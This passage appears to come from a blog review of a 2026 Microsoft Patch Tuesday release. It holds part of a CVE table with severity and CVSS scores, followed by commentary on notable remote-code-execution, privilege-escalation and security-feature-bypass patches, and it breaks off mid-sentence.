Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land 